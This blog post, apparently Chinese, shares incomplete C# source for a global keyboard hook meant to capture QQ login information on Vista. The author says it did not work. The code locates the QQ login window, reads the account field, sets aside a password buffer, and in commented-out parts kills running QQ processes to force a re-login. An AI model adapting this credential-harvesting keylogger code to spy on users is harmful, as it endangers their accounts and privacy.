这是08年研究的一个想在VISTA上面捕获QQ信息的钩子程序,但是没有成功。今天贴出来源代码,一个作为以后继续研究做个副本,另外,可以在项目中需要用到钩子事件的时候,做个参考。 源代码: using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Text; using System.Windows.Forms; using System.Reflection; using System.Runtime.InteropServices; namespace WinFormHookEx { public partial class Form1 : Form { public Form1() { InitializeComponent(); } [StructLayout(LayoutKind.Sequential)] private class KeyboardHookStruct { public int vkCode;//表示一个在1到254间的虚似键盘码 public int scanCode;//键盘扫描码 public int flags; public int time; public int dwExtraInfo; } [DllImport("user32")] private static extern int ToAscii( int uVirtKey, int uScanCode, byte[] lpbKeyState, byte[] lpwTransKey, int fuState); //安装钩子原型 [DllImport("user32.dll", EntryPoint = "SetWindowsHookEx")] private static extern int SetWindowsHookEx( //extern 关键字还用作方法修饰符,声明用非托管代码编写的方法。 int idHook,//是”钩子”的类型 hookproc lpfn,// 指向“钩子”过程的指针。(钩子函数的地址,也即拦截到指定系统消息后的预处理过程,可以定义在DLL中) IntPtr hmod,//“钩子”过程所在模块的句柄。 int dwThreadId // “钩子”相关线程的标识。 ); //卸载钩子原型 [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true, EntryPoint = "UnhookWindowsHookEx")] private static extern bool UnhookWindowsHookEx( int hHook ); //回调钩子信息原型 [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, EntryPoint = "CallNextHookEx")] public static extern int CallNextHookEx( int hHook, //当前”钩子”的句柄 int ncode, //传给”钩子”过程的事件代码 int wParam, //按键消息的wParam参数包含了按键的虚键码,窗口处理过程根据这个虚键码来处理或者忽略一个按键消息 int lParam //按键消息的lParam消息中包含了按键的额外信息,其中包括:重复次数、扫描码、扩充键标志、上下文标志、前键状态标志,以及转换状态标志。 ); //{会返回下一个钩子执行后的返回值; 0 表示失败} //将256个虚拟键的状态拷贝到缓冲区,检索虚拟键的当前状态 [DllImport("user32")] private static extern int GetKeyboardState(byte[] pbKeyState); //获取单个虚拟键的状态 [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)] private static extern short GetKeyState(int vKey); [DllImport("user32")] private static extern long MapVirtualKey(long wCode, long wMapType); [StructLayout(LayoutKind.Sequential)] struct POINTAPI { public int x; public int y; } [StructLayout(LayoutKind.Sequential)] struct MSG { public Int32 hwmd; public Int32 message; public Int32 wParam; public Int32 lParam; public Int32 time; public POINTAPI pt; } [DllImport("user32.dll", SetLastError = true)] private static extern bool PeekMessage( ref MSG lpMsg, Int32 hwnd, Int32 wMsgFilterMin, Int32 wMsgFilterMax, PeekMessageOption wRemoveMsg); private enum PeekMessageOption { PM_NOREMOVE = 0, PM_REMOVE=1 } [DllImport("user32.dll", SetLastError = true)] private static extern bool TranslateMessage(ref MSG lpMsg); [DllImport("user32.dll", SetLastError = true)] private static extern Int32 DispatchMessage(ref MSG lpMsg); //窗体的判断 [DllImport("user32.dll")] public static extern int GetActiveWindow(); [DllImport("user32.dll")] public static extern IntPtr SetActiveWindow(IntPtr hwnd); [DllImport("user32.dll")] private static extern bool SetForegroundWindow(IntPtr hWnd); [DllImport("user32.dll")] private static extern bool PostMessage( int hWnd, // 目标窗口句柄 int Msg, // 被张贴的消息 int wParam, // 第一个消息参数 int lParam // 第二个消息参数 ); [DllImport("kernel32.dll")] private static extern int Process32First(IntPtr hSnapshot,ref PROCESSENTRY32 lppe); [DllImport("kernel32.dll")] private static extern int Process32Next(IntPtr hSnapshot,ref PROCESSENTRY32 lppe); //为指定的进程、进程使用的堆[HEAP]、模块[MODULE]、线程[THREAD])建立一个快照 [DllImport("kernel32.dll", SetLastError = true)] private static extern IntPtr CreateToolhelp32Snapshot(uint dwFlags,uint th32ProcessID); [DllImport("kernel32.dll", SetLastError = true)] private static extern bool CloseHandle(IntPtr hSnapshot); private const uint TH32CS_SNAPPROCESS = 0x00000002; [StructLayout(LayoutKind.Sequential)] private struct PROCESSENTRY32 { public uint dwSize; public uint cntUsage; public uint th32ProcessID; public IntPtr th32DefaultHeapID; public uint th32ModuleID; public uint cntThreads; public uint th32ParentProcessID; public int pcPriClassBase; public uint dwFlags; [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 260)] public string szExeFile; } //枚举屏幕上的所有顶层窗口 [DllImport("user32")] private static extern bool EnumWindows(enumproc eproc, uint lparam); //得到当前的光标所在位置 [DllImport("user32")] private static extern bool GetCursorPos(POINTAPI pt); //取得当前光标所在窗口的句柄 [DllImport("user32")] private static extern int WindowFromPoint(POINTAPI pt); //判断当前窗体的类名 [DllImport("user32")] private static extern int GetClassName(IntPtr hWnd, StringBuilder lpClassName, int nMaxCount); //查找子窗口 [DllImport("user32")] private static extern int FindWindowEx(int hwndParent, int hwndChild, string strClass, string strName); //获得指定窗口的信息 [DllImport("user32")] private static extern uint GetWindowLong(IntPtr hWnd, int nlndex); private enum GetWindowLongOffsets:int { WNDPROC = (-4), HINSTANCE = (-6), HWNDPARENT = (-8), STYLE = (-16), EXSTYLE = (-20), USERDATA = (-21), ID = (-12), } //清空内存 [DllImport("Kernel32.dll", EntryPoint = "RtlZeroMemory", SetLastError = false)] private static extern void ZeroMemory(char[] dest, int size); //枚举窗体里面的子窗体 [DllImport("user32")] private static extern bool EnumChildWindows(IntPtr hWndParent,enumchildproc lpEnumFunc,IntPtr lParam); //得到进程ID [DllImport("user32")] private static extern uint GetWindowThreadProcessId(IntPtr hwnd, IntPtr ProcessId); //发送消息 [DllImport("user32",CharSet=CharSet.Auto)] private static extern long SendMessage(IntPtr hwnd, int wMsg, int wParam, StringBuilder lParam); [DllImport("user32")] private static extern int GetWindowText(IntPtr hWnd,out StringBuilder lpString, int nMaxCount); private enum ProcessAccessType:uint { PROCESS_TERMINATE = (0x0001), PROCESS_CREATE_THREAD = (0x0002), PROCESS_SET_SESSIONID = (0x0004), PROCESS_VM_OPERATION = (0x0008), PROCESS_VM_READ = (0x0010), PROCESS_VM_WRITE = (0x0020), PROCESS_DUP_HANDLE = (0x0040), PROCESS_CREATE_PROCESS = (0x0080), PROCESS_SET_QUOTA = (0x0100), PROCESS_SET_INFORMATION = (0x0200), PROCESS_QUERY_INFORMATION = (0x0400) } //通过进程ID取得进程的句柄 [DllImport("kernel32.dll")] private static extern IntPtr OpenProcess(UInt32 dwDesiredAccess, Int32 bInheritHandle, UInt32 dwProcessId); //销毁进程 [DllImport("kernel32.dll", SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode); #region 属性 public new event KeyEventHandler KeyDown; public new event KeyPressEventHandler KeyPress; public new event KeyEventHandler KeyUp; static int hHook = 0; //用来记录钩子编号 const int WH_KEYBOARD_LL = 13; //钩子类型 private const int WH_KEYBOARD = 2; private const int WM_KEYDOWN = 0x100; private const int WM_KEYUP = 0x101; private const int WM_SYSKEYDOWN = 0x104; private const int WM_SYSKEYUP = 0x105; private const byte VK_SHIFT = 0x10; private const byte VK_CAPITAL = 0x14; private const byte VK_NUMLOCK = 0x90; private const byte VK_CONTROL = 0x11; private const byte VK_RETURN = 0x0D; private const byte WM_QUIT = 0x0012; private const byte WM_GETTEXT=0x000D; private const int WM_CLOSE = 0x0010; private const long QQNormalStyle = 0x94CA00C4; //QQ正常登录的样式 private const long QQMiniStyle = 0xB4CA00C4;//QQ最小化登录的样式 private const uint QQUserNumID = 0x0000008A;//QQ登录帐户框的ID private delegate int hookproc(int nCode, int wParam, int lParam); //钩子回调委托 private delegate bool enumproc(int hwnd, uint lParam);//枚举窗口委托 private delegate bool enumchildproc(IntPtr hwnd, IntPtr lParam);//枚举子窗口委托 private static hookproc KeyboardHookProcedure; bool boolstate;//钩子设置的状态 int intHwnd = 0; bool boolQQstate;//判断是否已经有QQ登录 bool boolQQLogin;//判断是否是登录框 IntPtr intLoginHwnd = IntPtr.Zero;//登录窗体的句柄 IntPtr intLoginNameHwnd = IntPtr.Zero;//QQ帐户框的句柄 char[] charUser=new char[30];//记录QQ登录框的帐户 char[] charPwd = new char[250];//记录QQ登录框的密码 #endregion public void SetHook() { //得到并设置活动窗口 int hwnd = GetActiveWindow(); intHwnd = hwnd; IntPtr I = new IntPtr(hwnd); SetActiveWindow(I); //SetForegroundWindow(I); try { if (hHook == 0) { KeyboardHookProcedure = new hookproc(KeyboardHookProc); //开始安装钩子 hHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardHookProcedure, Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()[0]), 0); if (hHook > 0) { button1.Text = "安装钩子成功!正在捕获键盘事件..."; //boolstate = true; } else button1.Text = "安装钩子失败!"; //if (hHook == 0) //{ // MessageBox.Show("Install Globle KeyBoard 's Hook Fail......"); //} //else //{ // button1.Text = "卸载钩子"; //} } } catch (Exception ex) { MessageBox.Show(ex.Message); } } private int KeyboardHookProc(int nCode, int wParam, int lParam) { if ((nCode >= 0) && (KeyDown != null || KeyUp != null || KeyPress != null)) { KeyboardHookStruct MyKeyboardHookStruct = (KeyboardHookStruct)Marshal.PtrToStructure((IntPtr)lParam, typeof(KeyboardHookStruct)); //throw new Exception (".."); MSG msg = new MSG(); while (true) { // if (GetActiveWindow() != intHwnd) { richTextBox1.AppendText("请在原窗口中按回车!"); break; } if (PeekMessage(ref msg, 0, 0, 0, PeekMessageOption.PM_NOREMOVE)) { //int inthandle = WindowFromPoint(msg.pt); //richTextBox1.AppendText("关闭的QQ句柄(鼠标):" + inthandle.ToString()); #region 判断回车 if (KeyDown != null && (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)) { if ((msg.wParam & VK_RETURN) != 0) { if (msg.lParam == 1835009) { richTextBox1.AppendText("大回车按下了!"); } else if (msg.lParam == 18612225) { richTextBox1.AppendText("小回车按下了!"); } //if (!boolQQstate) //运行此软件的时候已经有几个QQ在运行,则将其关闭,并打开QQ登录框 //{ // //截取QQ信息 // IntPtr handle = IntPtr.Zero; // //创建一个所有进程的快照 // handle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); // PROCESSENTRY32 info = new PROCESSENTRY32(); // info.dwSize = (uint)Marshal.SizeOf(typeof(PROCESSENTRY32)); // int first = Process32First(handle, ref info); // if (first == 0) PostMessage(intHwnd, WM_QUIT, 0, 0); // do // { // if (string.Compare(info.szExeFile, "QQ.exe", true) == 0) // { // enumproc ep = new enumproc(EnumAllWindowsProc); // //得到QQ进程的ID // //枚举所有顶层窗口,把进程PID传给回调函数EnumAllWindowsProc // //if (!EnumWindows(ep, info.th32ProcessID)) // //{ // // //枚举QQ窗口失败 // // //PostMessage(intHwnd, WM_QUIT, 0, 0); // // richTextBox1.AppendText("枚举QQ窗口失败,关闭QQ失败!"); // ////} // ////else // ////{ // // //break; // //} // richTextBox1.AppendText(" QQ进程ID:" + info.th32ProcessID.ToString()); // richTextBox1.AppendText(" QQ线程计数:" + info.cntThreads.ToString()); // //EnumWindows(ep, info.th32ProcessID);//获取不到QQ窗体的句柄 // IntPtr QQProcess = OpenProcess((uint)ProcessAccessType.PROCESS_TERMINATE,0,info.th32ProcessID); // TerminateProcess(QQProcess,0); // richTextBox1.AppendText(" QQ进程句柄:" + QQProcess.ToString()); // } // //else { // // richTextBox1.AppendText("没有QQ登录!"); // // } // } // while (Process32Next(handle, ref info) != 0); // boolQQstate = true; // } //if (boolQQLogin) { // ZeroMemory(charUser,10); // string strCharUser = new string(charUser); // SendMessage((long)intLoginNameHwnd, (long)WM_GETTEXT, 10, strCharUser); // richTextBox1.AppendText(strCharUser); //} } if (msg.wParam == VK_CONTROL) { PostMessage(intHwnd, WM_QUIT, 0, 0); richTextBox1.AppendText("退出!"); } if (msg.message == WM_QUIT) { TranslateMessage(ref msg); DispatchMessage(ref msg); //return 0; break; } //Keys keyData = (Keys)MyKeyboardHookStruct.vkCode; //richTextBox1.AppendText("KEYDOWN键按下!KEYS:" + keyData + " wParam:" + wParam + " lParam:" + lParam + " MSG结构WParam:" + msg.wParam + // " MSG结构LParam:" + msg.lParam + " 键盘扫描码scanCode: " + MyKeyboardHookStruct.scanCode + "/n");//+ " Msg参数Lparam的scanCode" + MyKeyboardHookStructMsg.scanCode + "/n"); //break; } #endregion if (OpenQQ(msg.pt)) //已经打开了QQ登录框,开始记录键盘事件 { boolQQLogin = true; richTextBox1.AppendText(" 已经获得登录框的句柄!"); //ZeroMemory(charUser, 10); //string strCharUser = new string(charUser); StringBuilder sbGetText = new StringBuilder(64,1028); SendMessage(intLoginNameHwnd, (int)WM_GETTEXT, 300, sbGetText); //StringBuilder sbGetText = new StringBuilder(); // int intUserNum= GetWindowText(intLoginNameHwnd,out sbGetText,30); // PostMessage((int)intLoginHwnd,(int)WM_GETTEXT,10,); richTextBox1.AppendText(" QQ帐户:" + sbGetText); } else richTextBox1.AppendText(" 没有获得登录框的句柄!"); break; } System.Threading.Thread.Sleep(10); #region 注释的掉的额外的可以进一步激活KEY_事件的方法 //if (MyKeyboardHookStruct.vkCode == VK_RETURN) //{ // //if ((MyKeyboardHookStruct.scanCode & 0x002ef17c) != 0) MessageBox.Show("按下的是大回车键!"); // //if ((lParam & 0x011b) != 0) MessageBox.Show("按下的是大回车键!"); // if ((lParam & 0X000F4240) != 0) MessageBox.Show("按下的是小回车键!"); //} //if ((wParam & VK_CONTROL)!=0) MessageBox.Show("按下CONTROL键!"); //MessageBox.Show(MapVirtualKey(VK_CONTROL, 0).ToString()); //Keys keyData = (Keys)MyKeyboardHookStruct.vkCode; //label1.Text += "KEYDOWN键按下!KEYS:" + keyData+" wParam:"+wParam+" lParam:"+lParam; //richTextBox1.AppendText("KEYDOWN键按下!KEYS:" + keyData + " wParam:" + wParam + " lParam:" + lParam +" 键盘扫描码scanCode: "+MyKeyboardHookStruct.scanCode+ "/n"); ////if (MyKeyboardHookStruct.scanCode == VK_RETURN) { MessageBox.Show(MapVirtualKey(VK_RETURN, 0).ToString()); } //KeyEventArgs e = new KeyEventArgs(keyData); //KeyDown(this, e); //handled = handled || e.Handled; } // if (KeyPress != null && wParam == WM_KEYDOWN) //{ // label1.Text += "KEYPRESS键按下!"; // bool isDownShift = ((GetKeyState(VK_SHIFT) & 0x80) == 0x80 ? true : false); // bool isDownCapslock = (GetKeyState(VK_CAPITAL) != 0 ? true : false); // byte[] keyState = new byte[256]; // GetKeyboardState(keyState); // byte[] inBuffer = new byte[2]; // if (ToAscii(MyKeyboardHookStruct.vkCode, // MyKeyboardHookStruct.scanCode, // keyState, // inBuffer, // MyKeyboardHookStruct.flags) == 1) // { // char key = (char)inBuffer[0]; // richTextBox1.AppendText("KEYPRESS键:" + key + " wParam:" + wParam + " lParam:" + lParam + "/n"); // if ((isDownCapslock ^ isDownShift) && Char.IsLetter(key)) key = Char.ToUpper(key); // KeyPressEventArgs e = new KeyPressEventArgs(key); // KeyPress(this, e); // handled = handled || e.Handled; // } // } // if (KeyUp != null && (wParam == WM_KEYUP || wParam == WM_SYSKEYUP)) //{ // label1.Text += "KEYUP键按下!"; // Keys keyData = (Keys)MyKeyboardHookStruct.vkCode; // richTextBox1.AppendText("KEYUP键:" + keyData + " wParam:" + wParam + " lParam:" + lParam + "/n"); // KeyEventArgs e = new KeyEventArgs(keyData); // KeyUp(this, e); // handled = handled || e.Handled; // } } //if (handled) // return 1; //else #endregion return CallNextHookEx(hHook, nCode, wParam, lParam); } //监视是否打开的是QQ登录框 private bool OpenQQ(POINTAPI pt) { int inthandle = WindowFromPoint(pt); StringBuilder strbuilder = new StringBuilder(); strbuilder.Length = 256; GetClassName((IntPtr)inthandle, strbuilder, 256); //richTextBox1.AppendText(" 类名称:" + strbuilder.ToString()); if (strbuilder.ToString() == "#32770") { richTextBox1.AppendText(" QQ登录框的句柄为:" + inthandle); uint QQLoginProcessID = GetWindowThreadProcessId((IntPtr)inthandle, IntPtr.Zero); enumchildproc ecp = new enumchildproc(EnumChildWindowsProc); try { if (!EnumChildWindows((IntPtr)inthandle, ecp, (IntPtr)QQLoginProcessID)) { richTextBox1.AppendText(" 你得到了QQ登录框的帐户框句柄!" + intLoginHwnd); } } catch (AccessViolationException avex) { MessageBox.Show("错误:" + avex.Message+" 实例:"+avex.InnerException); } int hwndChild1 = FindWindowEx(inthandle, 0, "Button", "登录"); int hwndChild2 = FindWindowEx(inthandle, 0, "Button", " 设置↓"); long longStyle = GetWindowLong((IntPtr)inthandle, (int)GetWindowLongOffsets.STYLE); if (hwndChild1 > 0 && hwndChild2 > 0 && ((longStyle & QQNormalStyle)!=0 || (longStyle & QQMiniStyle)!=0)) //0x94CA00C4代表正常情况下的QQ登录框样式,0xB4CA00C4代表最小化时候的登录样式 { //代表是QQ登录窗口 //if ((msg.wParam & VK_RETURN)!=0 && (msg.lParam == 1835009 || msg.lParam == 18612225)) intLoginHwnd = (IntPtr)inthandle; richTextBox1.AppendText(" 你选择了QQ登录框!"); return true; } } return false; } //取得QQ登录框,在多个QQ的情况下,枚举出登录框的句柄 private bool EnumAllWindowsProc(int hwnd,uint laram ) { //if (!boolQQstate) //{ richTextBox1.AppendText(" 关闭的QQ句柄:"+hwnd .ToString()); //if (PostMessage(hwnd, WM_QUIT, 0, 0)) //关闭正在打开的QQ // { // //boolQQstate = true; // // return false; //} //else return true; //} //PostMessage(hwnd, WM_QUIT, 0, 0); //SendMessage((long)hwnd, (long)WM_CLOSE, 0, IntPtr.Zero); return false; } //枚举QQ登录框下面的控件句柄 private bool EnumChildWindowsProc(IntPtr hwnd, IntPtr lParam) { richTextBox1.AppendText(" 开始获得登录帐户框的句柄"); //取得用户帐户框的句柄,0x0000008A代表帐户框的控件ID uint longGetID=GetWindowLong(hwnd, (int)GetWindowLongOffsets.ID); if (longGetID == QQUserNumID) { intLoginNameHwnd = hwnd; richTextBox1.AppendText("获得的登录帐户框的句柄为:" + intLoginHwnd); return false; } return true ; } #region 按钮事件 private void button1_Click(object sender, EventArgs e) { SetHook(); //设置一个钩子 //formKey.Focus(); } private void Form1_Load(object sender, EventArgs e) { this.KeyDown += new KeyEventHandler(Form1_KeyDown); this.KeyPress += new KeyPressEventHandler(Form1_KeyPress); this.KeyUp += new KeyEventHandler(Form1_KeyUp); } void Form1_KeyUp(object sender, KeyEventArgs e) { //throw new Exception("The method or operation is not implemented."); } void Form1_KeyPress(object sender, KeyPressEventArgs e) { //throw new Exception("The method or operation is not implemented."); } void Form1_KeyDown(object sender, KeyEventArgs e) { //throw new Exception("The method or operation is not implemented."); } private void button2_Click(object sender, EventArgs e) { // if (boolstate) { if (hHook > 0) { if (UnhookWindowsHookEx(hHook)) { button1.Text = "卸载钩子成功!"; boolstate = false; } else { button1.Text = "卸载失败!"; } } else { button1.Text = "没有发现自定义的钩子,无法卸载!"; } } private void Form1_FormClosed(object sender, FormClosedEventArgs e) { if (hHook > 0) { if (UnhookWindowsHookEx(hHook)) { button1.Text = "卸载钩子成功!"; boolstate = false; } } } #endregion } } Designer文件源代码: namespace WinFormHookEx { partial class Form1 { /// <summary> /// 必需的设计器变量。 /// </summary> private System.ComponentModel.IContainer components = null; /// <summary> /// 清理所有正在使用的资源。 /// </summary> /// <param name="disposing">如果应释放托管资源,为 true;否则为 false。</param> protected override void Dispose(bool disposing) { if (disposing && (components != null)) { components.Dispose(); } base.Dispose(disposing); } #region Windows 窗体设计器生成的代码 /// <summary> /// 设计器支持所需的方法 - 不要 /// 使用代码编辑器修改此方法的内容。 /// </summary> private void InitializeComponent() { this.button1 = new System.Windows.Forms.Button(); this.label1 = new System.Windows.Forms.Label(); this.button2 = new System.Windows.Forms.Button(); this.richTextBox1 = new System.Windows.Forms.RichTextBox(); this.SuspendLayout(); // // button1 // this.button1.Location = new System.Drawing.Point(64, 88); this.button1.Name = "button1"; this.button1.Size = new System.Drawing.Size(141, 43); this.button1.TabIndex = 0; this.button1.Text = "创建 钩子"; this.button1.UseVisualStyleBackColor = true; this.button1.Click += new System.EventHandler(this.button1_Click); // // label1 // this.label1.AutoSize = true; this.label1.ForeColor = System.Drawing.Color.Coral; this.label1.Location = new System.Drawing.Point(44, 21); this.label1.Name = "label1"; this.label1.Size = new System.Drawing.Size(0, 12); this.label1.TabIndex = 1; // // button2 // this.button2.Location = new System.Drawing.Point(64, 188); this.button2.Name = "button2"; this.button2.Size = new System.Drawing.Size(141, 38); this.button2.TabIndex = 2; this.button2.Text = "移除钩子"; this.button2.UseVisualStyleBackColor = true; this.button2.Click += new System.EventHandler(this.button2_Click); // // richTextBox1 // this.richTextBox1.Location = new System.Drawing.Point(238, 6); this.richTextBox1.Name = "richTextBox1"; this.richTextBox1.Size = new System.Drawing.Size(563, 330); this.richTextBox1.TabIndex = 3; this.richTextBox1.Text = ""; // // Form1 // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.ClientSize = new System.Drawing.Size(808, 337); this.Controls.Add(this.richTextBox1); this.Controls.Add(this.button2); this.Controls.Add(this.label1); this.Controls.Add(this.button1); this.Name = "Form1"; this.Text = "Form1"; this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.Form1_FormClosed); this.Load += new System.EventHandler(this.Form1_Load); this.ResumeLayout(false); this.PerformLayout(); } #endregion private System.Windows.Forms.Button button1; private System.Windows.Forms.Label label1; private System.Windows.Forms.Button button2; private System.Windows.Forms.RichTextBox richTextBox1; } }